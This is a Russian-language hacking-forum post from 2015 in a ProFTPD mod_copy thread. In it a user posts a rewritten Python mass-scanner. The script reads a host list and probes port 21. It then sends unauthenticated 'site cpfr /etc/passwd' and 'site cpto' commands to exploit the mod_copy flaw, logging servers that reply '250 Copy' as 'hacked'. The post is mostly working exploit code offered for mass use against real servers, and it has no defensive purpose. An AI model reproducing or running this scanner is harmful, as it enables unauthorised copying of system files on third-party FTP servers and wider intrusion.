Тема: ProFTPD mod_copy
Показать сообщение отдельно
Старый 11.05.2015, 13:54   #6
z0mbie
 
Регистрация: 05.08.2010
Сообщений: 68
Репутация: 0
По умолчанию

Цитата:
Сообщение от secov Посмотреть сообщение
Запускаю скрипт получаю ошибку
Код:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\ip>1.py
Подключено!
╨Ъ╨╛╨╝╨░╨╜╨┤╨░ cpfr ╨╜╨╡ ╤А╨░╨▒╨╛╤В╨░╨╡╤В!
Traceback (most recent call last):
  File "C:\ip\1.py", line 32, in <module>
    if "250" in part3:
NameError: name 'part3' is not defined
В чем проблема?
Проверки на ответ от сервера небыло
В питоне плохо шарю. Но полностью переделал скрипт:
Код:
ips=0
l=[]
f1 = open("c:/ip/good.txt", 'w')
with open('c:/ip/ip.txt') as f :
 l = f.read().splitlines()
def ping(host, port, results = None):
    try:
        socket.socket().connect((host, port))
        if results is not None:
            results.append(port)
        return True
    except:
        return False
def getip(gett):
    try:
        d=socket.gethostbyname(gett)
        return d
    except:
        return False
def connects(ippp):
    try:
       sock = socket.socket()
       sock.connect((ippp, 21))
       part1 = sock.recv(1024)
       sock.send('site cpfr /etc/passwd \n')
       part2 = sock.recv(1024)
       sock.send('site cpto /tmp/passwd.copy \n')
       part3 = sock.recv(1024)
       sock.close()
       return part3
    except:
       return False
while ips!=len(l):
 try:
     print ips
     get=getip(l[ips])
     if get != False:
      pin=ping(get,21)
      if pin != False:
       con=connects(get)
       if "250 Copy" in con:
        print('hacked '+l[ips])
        f1.write(l[ips] + '\n')
 except:
     print('no hacked')
 ips=ips+1
Иногда бывает зависает после 2к чеков.

Последний раз редактировалось z0mbie; 11.05.2015 в 13:57..
z0mbie вне форума   Ответить с цитированием